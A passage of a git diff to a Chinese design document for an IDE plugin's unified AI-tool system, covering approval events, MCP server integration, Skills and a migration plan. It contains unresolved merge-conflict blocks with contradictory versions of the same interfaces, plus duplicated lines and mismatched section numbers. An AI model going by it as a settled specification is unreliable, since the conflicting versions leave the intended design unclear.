信任模式下自动执行的文件变更通知(§8.7.4,非阻塞) | + +> **变更说明**:`file_change_request` 和 `file_create_request` 已移除——文件审批改用 IDE 原生 DiffDialog / ConfirmDialog(§8.2/§8.3),不再通过 Bridge → WebView 路径。变更通知仅保留 `file_change_auto` 用于前端聊天流内联展示。 -| 参数 | 现有 | 新增 | +新增 1 个前端 → IDE 动作方法(挂载到 `window.__bridge` 动作接口): + +| 动作方法 | 参数 | 说明 | +|----------|------|------| +| `openFile` | `(path: string, line?: number)` | 在 IDE 编辑器中打开指定文件并定位到指定行(§8.4 "Open in Editor" 按钮) | + +### 9.3 现有事件扩展 + +**`approval_request`** payload 扩展: +>>>>>>> Stashed changes + +| 字段 | 现有 | 变更 | |------|------|------| -| `requestId` | ✓ | ✓ | -| `command` | ✓ | → 改名 `toolInput`(通用化) | -| `description` | ✓ | ✓ | -| `toolName` | — | ✓(如 `run_command`、`mcp__xxx`) | +| `requestId` | ✓ | 不变 | +<<<<<<< Updated upstream +| `command` | ✓ | → 改名 `toolInput`(通用化,兼容旧值) | +| `description` | ✓ | 不变 | +| `toolName` | — | **新增**(如 `run_command`、`mcp__xxx`) | +======= +| `command` | ✓ | **保留**(deprecated,兼容过渡期,值与 `toolInput` 相同) | +| `toolInput` | — | **新增**(通用化输入,`run_command` 时为命令文本,其他工具为参数摘要) | +| `description` | ✓ | 不变 | +| `toolName` | — | **新增**(如 `run_command`、`mcp__xxx`) | + +**迁移策略**:双字段并行一个版本(v3.2),前端优先读取 `toolInput`,fallback 到 `command`。**v3.3 移除 `command` 字段**——届时前端已全部迁移至 `toolInput`,删除 `command` 不构成 breaking change。 +>>>>>>> Stashed changes 前端根据 `toolName` 渲染不同审批 UI: - `run_command` → 展示命令 + 描述(现有样式) +- `edit_file` / `write_file` → 跳过审批弹框(由 `file_change_request` / `file_create_request` 独立处理) - 其他工具 → 展示工具名 + 参数摘要 ### 9.4 BridgeHandler.kt 变更 +所有新事件均通过 `buildEventJS()` 生成,走统一 `onEvent` 通道: + | 方法 | 变更 | |------|------| -| `notifyApprovalRequest` | 参数增加 `toolName` | -| `notifyFileChangeRequest` | **新增** | -| `notifyFileCreateRequest` | **新增** | -| Bridge JS 模板 | 新增 `onFileChangeRequest` / `fileChangeResponse` / `onFileCreateRequest` / `fileCreateResponse` | +| `notifyApprovalRequest` | payload 增加 `toolName`、`command` 改名 `toolInput`;内部改为 `flushAndPush(buildEventJS("approval_request", ...))` | +| `notifyFileChangeRequest` | **新增** — `flushAndPush(buildEventJS("file_change_request", ...))` | +| `notifyFileCreateRequest` | **新增** — `flushAndPush(buildEventJS("file_create_request", ...))` | + +调度策略: +- `approval_request` / `file_change_request` / `file_create_request` → `flushAndPush`(结构性事件,需先刷空待处理 token) +- 与 Phase 1 中 `execution_card`、`approval_request` 的调度策略一致 ### 9.5 bridge.d.ts 变更 -| 接口方法 | 变更 | -|----------|------| -| `onApprovalRequest` | 增加 `toolName` 参数 | -| `onFileChangeRequest` | **新增** | -| `fileChangeResponse` | **新增** | -| `onFileCreateRequest` | **新增** | -| `fileCreateResponse` | **新增** | +Bridge 接口保持 `onEvent` + 动作方法结构不变,仅扩展动作方法: + +```typescript +interface Bridge { + // 统一事件通道(Kotlin → JS)— 不变 + onEvent: (type: string, payloadJson: string) => void + + // 动作方法(JS → Kotlin) + sendMessage: (text: string, includeContext: boolean) => void + approvalResponse: (requestId: string, action: string, addToWhitelist?: boolean) => void +<<<<<<< Updated upstream + fileChangeResponse: (requestId: string, decision: string) => void // 新增 + fileCreateResponse: (requestId: string, decision: string) => void // 新增 +======= + openFile: (path: string, line?: number) => void // 新增:在 IDE 编辑器中打开文件 +>>>>>>> Stashed changes + cancelStream: () => void + newChat: () => void + openSettings: () => void + debugLog: (message: string) => void + frontendReady: () => void +} +``` + +<<<<<<< Updated upstream +### 9.6 前端 groupReducer 扩展 + +新增事件类型在 `groupReducer`(Phase 2 引入,替代 `eventReducer`)中新增 case: +======= +> **变更说明**:`fileChangeResponse` / `fileCreateResponse` 已移除——文件审批改用 IDE 原生组件,不再经过 WebView Bridge。新增 `openFile` 用于前端"Open in Editor"按钮回调。 + +### 9.6 前端 groupReducer 扩展 + +新增事件类型在 `groupReducer`(Phase 2 引入,替代 `eventReducer`)中新增 case。 + +**注意**:多个 tool_call 可能并发触发多个审批请求,因此审批状态使用 `Map` 结构,而非单一对象: +>>>>>>> Stashed changes + +```typescript +case "file_change_request": + return { + ...state, +<<<<<<< Updated upstream + fileChangeReview: { + requestId: payload.requestId, + path: payload.path, + diff: payload.diff, + stats: payload.stats, +======= + fileChangeReviews: { + ...state.fileChangeReviews, + [payload.requestId]: { + requestId: payload.requestId, + path: payload.path, + diff: payload.diff, + stats: payload.stats, + }, +>>>>>>> Stashed changes + }, + } + +case "file_create_request": + return { + ...state, +<<<<<<< Updated upstream + fileCreateReview: { + requestId: payload.requestId, + path: payload.path, + size: payload.size, + preview: payload.preview, + language: payload.language, + }, + } +======= + fileCreateReviews: { + ...state.fileCreateReviews, + [payload.requestId]: { + requestId: payload.requestId, + path: payload.path, + size: payload.size, + content: payload.content, // 完整内容 + totalLines: payload.totalLines, // 总行数 + language: payload.language, + }, + }, + } + +// 审批完成后移除对应 entry +case "file_change_response": + const { [payload.requestId]: _, ...restChange } = state.fileChangeReviews + return { ...state, fileChangeReviews: restChange } + +case "file_create_response": + const { [payload.requestId]: __, ...restCreate } = state.fileCreateReviews + return { ...state, fileCreateReviews: restCreate } +``` +>>>>>>> Stashed changes +``` + +`approval_request` 的 case 扩展为根据 `toolName` 区分渲染逻辑(现有命令审批 + 通用工具审批)。 --- -## 10. MCP 预留接口(M5) +## 10. MCP 接入(M5) -Phase 4 接入 MCP 只需以下步骤,**不修改 ToolCallDispatcher 或 ToolRegistry**: +接入 MCP 只需以下步骤,**不修改 ToolCallDispatcher 核心调度逻辑**: ### 10.1 McpToolExecutor @@ -755,20 +1466,327 @@ MCP Server Trust **设计说明**:MCP 是外部工具,不能假设安全。默认需审批是最安全的策略,用户显式信任后才自动放行。 -### 10.4 与内置工具的差异 +### 10.4 MCP 工具能力协商 + +MCP 协议标准定义了 `tool.annotations` 字段,用于声明工具的语义能力。CodePlanGUI 映射如下: + +| MCP Annotation | ToolSpec 方法 | 类型 | 默认值 | 说明 | +|---|---|---|---|---| +| `annotations.readOnlyHint` | `isConcurrencySafe(input)` / `isReadOnly(input)` | Boolean | `false` | 只读工具天然可安全并发 | +| `annotations.destructiveHint` | `isDestructive(input)` | Boolean | `false` | 标记破坏性操作 | +| `annotations.openWorldHint` | `isOpenWorld(input)` | Boolean | `false` | 标记可能访问外部网络/系统的操作 | + +**映射实现**(在 MCP 工具注册时): + +```kotlin +fun buildMcpToolSpec(serverName: String, mcpTool: McpToolDefinition): ToolSpec { + val annotations = mcpTool.annotations + return ToolSpec( + name = "mcp__${serverName}__${mcpTool.name}", + description = mcpTool.description, + inputSchema = mcpTool.inputSchema, + requiredPermission = classifyMcpPermission(annotations), + // MCP 工具做工具级别静态声明,无法按输入动态判断 + isConcurrencySafe = { annotations?.readOnlyHint ?: false }, + isReadOnly = { annotations?.readOnlyHint ?: false }, + isDestructive = { annotations?.destructiveHint ?: false }, + ) +} +``` + +**与内置工具的关键区别**: | 维度 | 内置工具 | MCP 工具 | |------|----------|----------| -| 名称 | `run_command`、`read_file` 等 | `mcp____` | -| 参数校验 | Kotlin 层严格校验 | 不做本地校验(schema 动态获取) | -| 执行 | 本地逻辑(VFS/ProcessBuilder) | 远程调用 | -| 注册时机 | 插件启动时 | MCP 连接建立后 | -| 生命周期 | 插件生命周期 | MCP 连接生命周期 | -| 权限 | 精确分级 | 未信任需审批 / 已信任 WORKSPACE_WRITE | +| 能力判定粒度 | **输入级别**动态判断(如 `run_command` 分析具体命令) | **工具级别**静态声明(基于 annotations) | +| 默认值策略 | 各工具自行实现 | Fail-closed:全部默认 `false`(保守安全) | +| 并发优化 | `run_command cat` 可并发,`run_command npm install` 串行 | 声明 `readOnlyHint=true` 的工具可并发,其余串行 | + +**分层默认机制**: + +``` +TOOL_DEFAULTS(全部 false) + ↓ 覆盖 +MCP Server 注册时用 annotations 覆盖 + ↓ 对比 +内置工具自己实现,做输入级别精细判断 +``` + +### 10.5 MCP 传输层与连接管理 + +MCP Server 通过传输协议与 CodePlanGUI 通信。第一版支持两种标准传输: + +| 传输方式 | 适用场景 | 实现 | +|----------|----------|------| +| **stdio** | 本地 MCP Server(子进程) | `ProcessBuilder` 启动,stdin/stdout JSON-RPC | +| **SSE** | 远程 MCP Server(HTTP) | OkHttp SSE 长连接,JSON-RPC over HTTP | + +**连接生命周期**: + +``` +插件启动 + │ + ├─ 读取 Settings 中已配置的 MCP Server 列表 + │ + ├─ 逐个建立连接 + │ ├─ stdio: 启动子进程,握手 + │ └─ SSE: 建立 HTTP 连接,握手 + │ + ├─ 连接成功 → listTools() → 注册到 ToolRegistry + │ └─ 注册连接健康检查(心跳 ping,默认 30s) + │ + ├─ 连接失败 → 重试(指数退避,最多 3 次) + │ └─ 仍失败 → 标记 server 为 disconnected,前端展示状态 + │ + └─ 连接断开(心跳超时 / 进程退出) + ├─ 标记 server disconnected + ├─ 从 ToolRegistry 移除该 server 的所有工具 + └─ 自动重连(指数退避) +``` + +**McpConnectionManager 职责**: + +| 方法 | 说明 | +|------|------| +| `connect(serverConfig)` | 建立连接、握手、注册工具 | +| `disconnect(serverName)` | 断开连接、移除工具 | +| `reconnect(serverName)` | 重连 | +| `listConnectedServers()` | 列出所有已连接 server 及状态 | +| `onServerOnline(callback)` | Server 上线回调 | +| `onServerOffline(callback)` | Server 下线回调 | + +连接管理器通过 IntelliJ 的 `Disposable` 绑定 Project 生命周期,插件关闭时自动断开所有连接。 + +### 10.6 Schema 热更新 + +MCP Server 升级后工具接口可能变化。需要热更新机制避免重启连接: + +**触发条件**: + +| 事件 | 处理 | +|------|------| +| Server 主动通知 `notifications/tools/list_changed` | 立即重新 `listTools()`,差异更新 Registry | +| 心跳 ping 成功但工具调用 404 | 触发一次 `listTools()` 同步 | +| 连接断开后重连成功 | 自动重新 `listTools()` | + +**差异更新策略**: + +```kotlin +fun syncTools(serverName: String, newTools: List) { + val existingNames = registry.list() + .filter { it.startsWith("mcp__${serverName}__") } + .toSet() + val newNames = newTools.map { "mcp__${serverName}__${it.name}" }.toSet() + + // 移除已删除的工具 + (existingNames - newNames).forEach { registry.removeTool(it) } + + // 注册新增/变更的工具(addTools 对已存在的同名工具静默跳过, + // 因此变更的工具需要先 removeTool 再 addTools) + val added = newNames - existingNames + val possiblyChanged = newNames.intersect(existingNames) + + added.forEach { tool -> + registry.addTools(listOf(buildMcpToolSpec(serverName, tool))) + } + + // 变更检查:比较 inputSchema hash + possiblyChanged.forEach { toolName -> + val oldSpec = registry.find(toolName)!! + val newSpec = buildMcpToolSpec(serverName, newTools.find { "mcp__${serverName}__${it.name}" == toolName }!!) + if (oldSpec.inputSchema != newSpec.inputSchema) { + registry.removeTool(toolName) + registry.addTools(listOf(newSpec)) + } + } +} +``` + +### 10.7 MCP 工具基础参数校验 + +### 10.5 MCP 工具基础参数校验 + +MCP 工具的 `inputSchema` 从远程动态获取,不做完整的本地 schema 校验。但 Dispatcher 在调用 MCP executor 前执行以下基础校验(作为 Dispatcher 内置逻辑,**非 Hook**——安全校验不应可通过 Hook 注册遗漏来绕过): + +| 检查项 | 规则 | 失败行为 | +|--------|------|----------| +| 参数总体大小 | `arguments.toString().length ≤ 1MB` | `ToolResult(ok=false, "Input too large")` | +| 必填参数存在性 | 遍历 schema.required[],检查对应字段非 null | `ToolResult(ok=false, "Missing required parameter: xxx")` | +| 字符串参数长度 | 单个 String 值 ≤ 500KB | `ToolResult(ok=false, "Parameter 'xxx' too large")` | + +不做类型校验和格式校验——这些由 MCP Server 端负责。基础校验的目的是防止明显无效的请求浪费网络往返。 + +> **变更说明**:v3.2 中此校验原设计为 `McpToolSanitizeHook` Pre-Hook 实现。现改为 Dispatcher 内置逻辑,原因:安全校验不应依赖 Hook 注册的正确性——如果开发者忘记注册 Hook,MCP 工具将跳过校验。Hook 层保留给用户自定义的额外校验(如业务规则检查),基础安全校验由 Dispatcher 保证。 + +--- + +## 11. Skills 架构(M6) + +> Skills 是比 Tool 更高级的抽象:Tool 是**单步原子操作**,Skill 是**多步编排能力**。参考 Claude Code 设计,Skill 的本质是 **Command**(类型为 `prompt`),通过统一的 `SkillTool` 调度,而非为每个 Skill 注册独立 Tool。 + +### 11.1 Skill 不是 Tool,而是 Command + +``` +用户输入 /review-pr + ↓ + SkillTool.call({ skill: "review-pr", args: "PR #123" }) + ↓ + 查找 Command 注册表 → 找到 review-pr skill + ↓ + skill.getPromptForCommand(args, ctx) → 展开为 prompt + ↓ + 执行模式: + ├─ inline: prompt 注入当前对话,模型自行编排多步工具调用 + └─ fork: 启动独立子 Agent 执行,有自己的 token budget +``` + +**为什么用 Command 而非 Tool**: +- 模型只看到一个 `SkillTool`,不用为每个 skill 注册独立 Tool,节省 token +- Skill 的 prompt 在调用时才加载(懒加载),不影响每次 API 请求的 tools 参数大小 +- Skill 可以限制可用工具范围(`allowed-tools`),实现最小权限原则 + +### 11.2 Skill 来源 + +| 来源 | 路径 | 加载时机 | +|------|------|----------| +| 磁盘 Skill | `.codeplan/skills/*/SKILL.md` | 启动时加载 frontmatter,调用时加载 body | +| 内置 Skill | 编译进插件 | 插件启动时注册 | +| MCP Prompt | MCP Server 的 `prompts/list` | MCP 连接建立后 | + +### 11.3 SKILL.md 格式 + +```yaml +--- +name: review-pr +description: 审查指定的 Pull Request +allowed-tools: [read_file, grep_files, run_command] # 限制 skill 可用的工具 +model: sonnet # 模型覆盖(可选) +context: inline # inline(默认)或 fork +arguments: [pr-number] # 参数声明(可选) +argument-hint: "" # 参数提示(可选) +when-to-use: "用户要求审查 PR 时使用" # 使用场景说明 +paths: ["**/*.kt"] # 条件激活(匹配文件路径时自动推荐) +user-invocable: true # 用户是否可直接 / 调用 +--- + +Skill 的 prompt 正文(Markdown) +支持 $ARGUMENTS / ${1} 参数替换 +``` + +### 11.4 两种执行模式 + +#### Inline(默认) + +Skill prompt 展开为当前对话中的 user message: + +``` +SkillTool.call() + → 查找 skill → getPromptForCommand(args, ctx) + → 展开为 user message 注入当前对话 + → contextModifier: 限制 allowedTools、覆盖 model + → 模型在当前对话中自行编排多步工具调用 +``` + +- 适用于简单 Skill(如"生成 commit message") +- 复用当前对话上下文,模型可以看到之前的消息 + +#### Fork + +启动独立子 Agent 执行: + +``` +SkillTool.call() + → prepareForkedCommandContext() + → 创建独立 Agent(有自己的 system prompt、context、tool budget) + → 执行 skill prompt + → 返回 { status: 'forked', result: "..." } + → 进度通过 onProgress 回调报告 +``` + +- 适用于复杂 Skill(如"全项目代码审查") +- 隔离执行,不污染当前对话上下文 +- 有独立的 token budget 限制 + +### 11.5 懒加载与 Token 优化 + +磁盘 Skill 分两阶段加载: + +| 阶段 | 加载内容 | 用途 | +|------|----------|------| +| 启动时 | frontmatter(name、description、when-to-use) | 注册表构建、token 预算估算 | +| 调用时 | 完整 prompt body | 实际执行 | + +```kotlin +fun estimateFrontmatterTokens(skill: Skill): Int { + val text = listOfNotNull(skill.name, skill.description, skill.whenToUse) + .joinToString(" ") + return roughTokenEstimation(text) +} +``` + +### 11.6 条件激活与动态发现 + +**条件激活**:`paths` frontmatter 声明文件匹配模式,当用户操作的文件匹配时自动推荐对应 Skill。 + +``` +paths: ["src/test/**/*.kt"] +→ 用户编辑 src/test/MainTest.kt 时 +→ 自动推荐 "generate-test" skill +``` + +**动态发现**:用户打开项目文件时,沿路径向上搜索 `.codeplan/skills/` 目录,支持嵌套项目(monorepo 中子项目可以有自己的 Skills)。 + +### 11.7 Skill 权限控制 + +```kotlin +fun authorizeSkill(skill: Skill): AuthDecision { + // 安全属性白名单:只包含这些属性的 skill 自动放行 + val SAFE_PROPERTIES = setOf("name", "description", "model", "source") + + if (skill.properties.all { it.key in SAFE_PROPERTIES }) { + return AuthDecision.ALLOW + } + + // 有白名单外属性(如 hooks、allowedTools)→ 需用户确认 + return AuthDecision.ASK("Execute skill: ${skill.name}?") +} +``` + +| 属性 | 是否安全 | 原因 | +|------|----------|------| +| `name` / `description` | 安全 | 纯元数据 | +| `model` | 安全 | 只影响模型选择 | +| `when-to-use` | 安全 | 只影响推荐时机 | +| `allowed-tools` | **需确认** | 限制了 skill 可用的工具范围,可能扩大权限 | +| `hooks` | **需确认** | 注入自定义行为 | +| `context: fork` | **需确认** | 启动子 Agent,消耗额外资源 | + +### 11.8 与 Tool 系统的集成 + +Skill 通过唯一的 `SkillTool` 接入 ToolRegistry: + +```kotlin +val SKILL_TOOL = ToolSpec( + name = "execute_skill", + description = "Execute a named skill. Available skills: ...", + inputSchema = jsonObjectOf( + "type" to "object", + "properties" to jsonObjectOf( + "skill" to jsonObjectOf("type" to "string", "description" to "Skill name"), + "args" to jsonObjectOf("type" to "string", "description" to "Skill arguments") + ), + "required" to jsonArray("skill") + ), + requiredPermission = READ_ONLY, // Skill 本身是 prompt 展开,不直接产生副作用 + executor = SkillExecutor(skillRegistry) +) +``` + +模型看到的 `execute_skill` 工具只有一个,具体 Skill 的 prompt 在调用时动态加载。注册表中维护一个独立的 `SkillRegistry`(与 `ToolRegistry` 平行),管理 Skill 的发现、加载、缓存。 --- -## 11. Settings 扩展 +## 12. Settings 扩展 ### 11.1 新增配置项 @@ -776,8 +1794,10 @@ MCP Server Trust | 字段 | 类型 | 默认值 | 说明 | |------|------|--------|------| -| `permissionMode` | String | `"WORKSPACE_WRITE"` | 全局权限等级 | +| `permissionMode` | PermissionMode | `WORKSPACE_WRITE` | 全局权限等级(使用 3.4 定义的枚举,持久化时序列化为字符串) | | `trustedMcpServers` | List | `[]` | 已信任的 MCP server 列表 | +| `allowSessionFileTrust` | Boolean | `true` | 是否在文件审批框中展示"信任本次会话"选项(§8.7.3) | +| `diffSummaryThreshold` | Int | `100` | diff 行数超过此阈值时启用摘要模式(§8.6) | ### 11.2 Settings UI @@ -790,6 +1810,10 @@ Permission Level [ Workspace Write ▼ ] ● Workspace Write — 允许项目内读写操作(默认,推荐) ● Full Access — 允许任意命令执行 +File Change Review + ☑ Show "Trust this session" option in review dialogs + Diff summary threshold [ 100 ] lines + Command Execution [Toggle: OFF/ON] ───────────────────────────────────────────────────────────── Allowed Commands (base command prefix matching) @@ -800,7 +1824,7 @@ Allowed Commands (base command prefix matching) └──────────┴──────────────────────────────────────────┘ Execution timeout [ 30 ] seconds -MCP Server Trust (Phase 4) +MCP Server Trust ┌──────────────────┬─────────────┐ │ Server │ Trusted │ ├──────────────────┼─────────────┤ @@ -810,9 +1834,13 @@ MCP Server Trust (Phase 4) --- -## 12. ChatService 重构 +## 13. ChatService 重构 + +### 13.1 删除的代码(约 120 行) -### 12.1 删除的代码(约 120 行) +> **注意**:Phase 2 已删除 `bridgeNotifiedStart` 集合、延迟 `notifyStart` 逻辑和 `notifyRemoveMessage` hack。以下仅列出统一工具设计额外删除的代码。 + +> **注意**:Phase 2 已删除 `bridgeNotifiedStart` 集合、延迟 `notifyStart` 逻辑和 `notifyRemoveMessage` hack。以下仅列出统一工具设计额外删除的代码。 | 方法/字段 | 原因 | |-----------|------| @@ -825,7 +1853,7 @@ MCP Server Trust (Phase 4) | `prepareToolCallsForExecution()` | 逻辑移到 ToolCallDispatcher | | 白名单/路径检查逻辑 | 移到 ToolCallDispatcher.authorize() | -### 12.2 替换后的代码(约 15 行) +### 13.2 替换后的代码(约 15 行) **handleToolCallComplete()**: @@ -848,7 +1876,7 @@ MCP Server Trust (Phase 4) 新: dispatcher.onApprovalResponse(requestId, decision) ``` -### 12.3 不变的部分 +### 13.3 不变的部分 - SSE 状态机(STREAMING_TEXT → ACCUMULATING_TOOL_CALL → WAITING_RESULT) - Token 流式渲染 @@ -858,9 +1886,9 @@ MCP Server Trust (Phase 4) --- -## 13. 现有实现保留与变更总览 +## 14. 现有实现保留与变更总览 -### 13.1 保留不动 +### 14.1 保留不动 | 组件 | 原因 | |------|------| @@ -871,30 +1899,52 @@ MCP Server Trust (Phase 4) | `ExecutionResult` | 只新增 `toToolResult()` 扩展方法 | | `ExecutionCard.tsx` | 展示逻辑通用,扩展支持非命令工具即可 | -### 13.2 重构变更 +### 14.2 重构变更 | 组件 | 变更 | |------|------| | `ChatService.kt` | 删除 ~120 行硬编码工具逻辑,替换为 ~15 行 Dispatcher 调用 | -| `BridgeHandler.kt` | approval_request 增加 toolName;新增 file_change_request / file_create_request 事件 | -| `bridge.d.ts` | 更新审批类型;新增文件变更和新建文件事件类型 | +<<<<<<< Updated upstream +| `BridgeHandler.kt` | `notifyApprovalRequest` payload 增加 `toolName`;新增 `notifyFileChangeRequest` / `notifyFileCreateRequest`,均走 `buildEventJS()` 统一通道 | +| `bridge.d.ts` | 新增 `fileChangeResponse` / `fileCreateResponse` 动作方法 | +| `groupReducer.ts` | 新增 `file_change_request` / `file_create_request` case;`approval_request` case 扩展 `toolName` 分支 | +| `ApprovalDialog.tsx` | 扩展支持多种工具类型的审批展示 | +| `FileChangeDialog.tsx` | **新增** — unified diff 审批组件 | +| `FileCreateConfirmDialog.tsx` | **新增** — 新建文件确认组件 | +| `App.tsx` | 新增 `FileChangeDialog` / `FileCreateConfirmDialog` 渲染 + `window.__bridge` 动作方法调用 | +======= +| `BridgeHandler.kt` | `notifyApprovalRequest` payload 增加 `toolName`;新增 `file_change_auto` 通知;新增 `openFile` 动作注入;移除旧的 `fileChangeResponse`/`fileCreateResponse` | +| `bridge.d.ts` | 新增 `openFile` 动作方法;移除 `fileChangeResponse`/`fileCreateResponse`(审批改用 IDE 原生组件) | +| `groupReducer.ts` | 新增 `file_change_auto` case(信任模式变更通知);`approval_request` case 扩展 `toolName` 分支 | | `ApprovalDialog.tsx` | 扩展支持多种工具类型的审批展示 | +| `FileChangeInline.tsx` | **新增** — 信任模式下聊天流中的文件变更内联提示 | +| `App.tsx` | 新增 `FileChangeInline` 渲染;注入 `openFile` 回调;移除旧版 WebView diff 组件 | +>>>>>>> Stashed changes --- -## 14. 文件变更清单 +## 15. 文件变更清单 + +<<<<<<< Updated upstream +### 14.1 新建文件(19 个) -### 14.1 新建文件(16 个) +**Kotlin 后端(16 个):** +======= +### 15.1 新建文件(27 个) + +**Kotlin 后端(24 个):** +>>>>>>> Stashed changes | 文件 | 说明 | |------|------| | `execution/ToolResult.kt` | 统一结果类型 | | `execution/ToolContext.kt` | 工具执行上下文 | -| `execution/ToolSpec.kt` | 工具注册信息 | +| `execution/ToolSpec.kt` | 工具注册信息 + 动态能力声明 | | `execution/PermissionMode.kt` | 权限等级枚举 | | `execution/ToolExecutor.kt` | 执行器接口 | +| `execution/ToolHook.kt` | Pre/Post Hook 接口 | | `execution/ToolRegistry.kt` | 注册中心 | -| `execution/ToolCallDispatcher.kt` | 统一调度器 | +| `execution/ToolCallDispatcher.kt` | 统一调度器(含 MCP 基础参数校验) | | `execution/FileChangeReview.kt` | 文件写操作 diff 审批 + 新建文件确认 | | `execution/FileWriteLock.kt` | 文件级并发写锁 | | `execution/ToolSpecs.kt` | 6 个工具的 ToolSpec 定义 | @@ -902,31 +1952,77 @@ MCP Server Trust (Phase 4) | `execution/executors/ReadFileExecutor.kt` | 文件读取(行号分块) | | `execution/executors/ListFilesExecutor.kt` | 目录列表 | | `execution/executors/GrepFilesExecutor.kt` | IntelliJ Search API 文本搜索 | -| `execution/executors/EditFileExecutor.kt` | 精确替换 + diff 审批 | -| `execution/executors/WriteFileExecutor.kt` | 整文件写入 + 确认/diff 审批 | +| `execution/executors/EditFileExecutor.kt` | 精确替换 + IDE 原生 diff 审批 | +| `execution/executors/WriteFileExecutor.kt` | 整文件写入 + IDE 原生确认/diff 审批 | +| `execution/PostEditPipeline.kt` | Post-Edit 质量管线(optimize imports + reformat + inspection) | +| `execution/InlineChangeHighlighter.kt` | 信任模式下的编辑器内联变更高亮 | +| `execution/hooks/ToolExecutionLogger.kt` | 工具调用日志 Hook(默认实现) | +| `execution/mcp/McpConnectionManager.kt` | MCP 连接管理(传输、心跳、重连) | +| `execution/mcp/McpToolFactory.kt` | MCP 工具包装(annotations 映射 + schema 同步) | +| `execution/skills/SkillRegistry.kt` | Skill 注册表(懒加载、条件激活) | +| `execution/skills/SkillExecutor.kt` | Skill 执行器(inline / fork 模式) | + +<<<<<<< Updated upstream +**React 前端(3 个):** + +| 文件 | 说明 | +|------|------| +| `components/FileChangeDialog.tsx` | 文件修改 diff 审批组件 | +| `components/FileCreateConfirmDialog.tsx` | 新建文件确认组件 | +| `types/tool-review.d.ts` | 文件审批相关类型定义 | ### 14.2 修改文件 +======= +**React 前端(5 个):** + +| 文件 | 说明 | +|------|------| +| `components/FileChangeInline.tsx` | 聊天流中的文件变更内联提示(信任模式 §8.4) | +| `components/McpServerStatus.tsx` | MCP Server 连接状态展示组件 | +| `components/McpServerStatus.tsx` | MCP Server 连接状态展示组件 | +| `components/SkillCard.tsx` | Skill 推荐卡片(条件激活时展示) | +| `types/tool-review.d.ts` | 文件审批相关类型定义 | + +### 15.2 修改文件 +>>>>>>> Stashed changes | 文件 | 变更 | |------|------| | `ChatService.kt` | 删除硬编码工具逻辑,改用 ToolCallDispatcher | | `ExecutionResult.kt` | 新增 `toToolResult()` 转换方法 | -| `BridgeHandler.kt` | 审批请求增加 toolName;新增 4 个 Bridge 事件 | -| `bridge.d.ts` | 更新审批类型;新增文件变更/新建文件类型 | -| `ApprovalDialog.tsx` | 扩展支持多工具类型审批 | +<<<<<<< Updated upstream +| `BridgeHandler.kt` | `notifyApprovalRequest` payload 扩展;新增 `notifyFileChangeRequest` / `notifyFileCreateRequest`(走 `buildEventJS` 统一通道);新增 `fileChangeResponse` / `fileCreateResponse` 动作注入 | +| `bridge.d.ts` | 新增 `fileChangeResponse` / `fileCreateResponse` 动作方法;更新 `approval_request` payload 类型 | +| `groupReducer.ts` | 新增 `file_change_request` / `file_create_request` case;`approval_request` case 扩展 `toolName` 分支 | +| `ApprovalDialog.tsx` | 扩展支持多工具类型审批(根据 `toolName` 切换 UI) | +| `App.tsx` | 新增 `FileChangeDialog` / `FileCreateConfirmDialog` 渲染;注入 `fileChangeResponse` / `fileCreateResponse` 回调 | +======= +| `BridgeHandler.kt` | `notifyApprovalRequest` payload 扩展;新增 `file_change_auto` 通知;新增 `openFile` 动作注入;移除旧版 `fileChangeResponse`/`fileCreateResponse` | +| `bridge.d.ts` | 新增 `openFile` 动作方法;移除 `fileChangeResponse`/`fileCreateResponse`;更新 `approval_request` payload 类型 | +| `groupReducer.ts` | 新增 `file_change_auto` case;`approval_request` case 扩展 `toolName` 分支 | +| `ApprovalDialog.tsx` | 扩展支持多工具类型审批(根据 `toolName` 切换 UI) | +| `App.tsx` | 新增 `FileChangeInline` 渲染;注入 `openFile` 回调 | +>>>>>>> Stashed changes | `SettingsState` + Settings UI | 新增 permissionMode 字段和 UI | -### 14.3 不动文件 +### 15.3 不动文件 | 文件 | 原因 | |------|------| | `CommandExecutionService.kt` | BashExecutor 和 GrepExecutor 包装它,不改内部 | | `ToolCallAccumulator.kt` | SSE 解析层不变 | -| `ExecutionCard.tsx` | 展示逻辑通用,无需修改 | +| `ExecutionCard.tsx` | 展示逻辑通用,无需修改(Phase 2 已将其归入 `AssistantGroup`) | +| `useBridge.ts` | Phase 1 已统一为 `onEvent`,无需改动 | +| `AssistantGroup.tsx` | Phase 2 新增组件,无需改动 | +| `AssistantMarkdown.tsx` | Phase 2 新增组件,无需改动 | --- -## 15. 迁移步骤 +## 16. 迁移步骤 + +> **前置条件**:Phase 1(统一事件通道)和 Phase 2(消息分组)已完成。 + +> **前置条件**:Phase 1(统一事件通道)和 Phase 2(消息分组)已完成。 | 步骤 | 内容 | 依赖 | 涉及文件 | |------|------|------|----------| @@ -935,15 +2031,45 @@ MCP Server Trust (Phase 4) | **Step 3** | 读取类执行器 | Step 2 | BashExecutor、ReadFileExecutor、ListFilesExecutor、GrepFilesExecutor | | **Step 4** | 写入类执行器 + 审批机制 | Step 2 | EditFileExecutor、WriteFileExecutor、FileChangeReview、FileWriteLock | | **Step 5** | ToolCallDispatcher | Step 3, 4 | ToolCallDispatcher | +<<<<<<< Updated upstream | **Step 6** | ChatService 重构 | Step 5 | ChatService.kt(重构) | -| **Step 7** | Bridge + Settings + 前端扩展 | Step 5 | BridgeHandler、bridge.d.ts、SettingsState、ApprovalDialog、FileChangeDialog、FileCreateConfirmDialog | -| **Step 8** | 测试 & 清理 | Step 7 | 测试文件、删除废弃代码 | +| **Step 7** | Bridge 事件扩展(`buildEventJS` + 动作注入) | Step 5 | BridgeHandler、bridge.d.ts | +| **Step 8** | 前端扩展(groupReducer + 审批组件 + Settings) | Step 7 | groupReducer、ApprovalDialog、FileChangeDialog、FileCreateConfirmDialog、App.tsx、SettingsState | +| **Step 9** | 测试 & 清理 | Step 8 | 测试文件、删除废弃代码 | +======= +| **Step 6** | ChatService 重构(高风险,建议 feature flag 保护) | Step 5 | ChatService.kt(重构) | +| **Step 7** | Bridge 事件扩展(`buildEventJS` + 动作注入) | Step 5 | BridgeHandler、bridge.d.ts | +| **Step 8** | 前端扩展(groupReducer + 变更通知组件 + Settings) | Step 7 | groupReducer、ApprovalDialog、FileChangeInline、App.tsx、SettingsState | +| **Step 9** | MCP 连接管理 + 工具注册 | Step 2 | McpConnectionManager、McpToolFactory | +| **Step 10** | MCP 前端(Server 状态展示 + Settings 信任配置) | Step 8, 9 | McpServerStatus、groupReducer、SettingsState | +| **Step 11** | Skills 加载与执行 | Step 5 | SkillRegistry、SkillExecutor、SkillTool(ToolSpec) | +| **Step 12** | Skills 前端(推荐卡片 + `/` 触发) 